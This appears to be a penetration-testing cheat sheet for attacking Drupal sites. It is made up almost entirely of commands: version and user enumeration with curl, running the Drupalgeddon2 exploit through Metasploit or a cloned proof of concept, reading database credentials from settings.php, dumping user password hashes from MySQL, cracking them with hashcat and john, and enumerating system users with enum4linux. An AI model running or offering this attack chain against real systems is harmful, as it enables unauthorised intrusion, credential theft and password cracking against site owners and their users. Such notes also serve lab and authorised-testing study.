Drupal Attacks

Version Detection

Command	Description
`curl http://<IP>/CHANGELOG.txt \| head -5`	Drupal version from changelog (most reliable).
`curl http://<IP>/core/CHANGELOG.txt \| head -5`	Drupal 8+ changelog path.
`curl http://<IP>/?q=user/login`	Confirm Drupal login page.
`curl http://<IP>/robots.txt`	Drupal usually exposes interesting paths here.

Command	Description
`curl http://<IP>/?q=user/1`	View user profile for UID 1 (usually admin).
`curl http://<IP>/node/1`	First published content node - reveals author.

# Metasploit
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS <IP>
set TARGETURI /
run
# Lands as www-data

# Manual PoC
git clone https://github.com/dreadlocked/Drupalgeddon2
ruby drupalgeddon2.rb http://<IP>/

Credentials are stored in sites/default/settings.php:

cat /var/www/html/sites/default/settings.php | grep -A5 "database"

Connect and extract user hashes:

mysql -u drupal -p<password> -e "SELECT name, mail, pass FROM drupal.users;"

Field	Description
`name`	Username
`mail`	Email address
`pass`	Password hash - Drupal 7 uses $S$ SHA-512 iterated (mode 7900 in hashcat)

hashcat -m 7900 drupal_hashes.txt /usr/share/wordlists/rockyou.txt

john --format=drupal7 drupal_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

enum4linux -r -u "" -p "" <IP>           # RID cycling - enumerate OS users
enum4linux -a <IP>                        # Full enumeration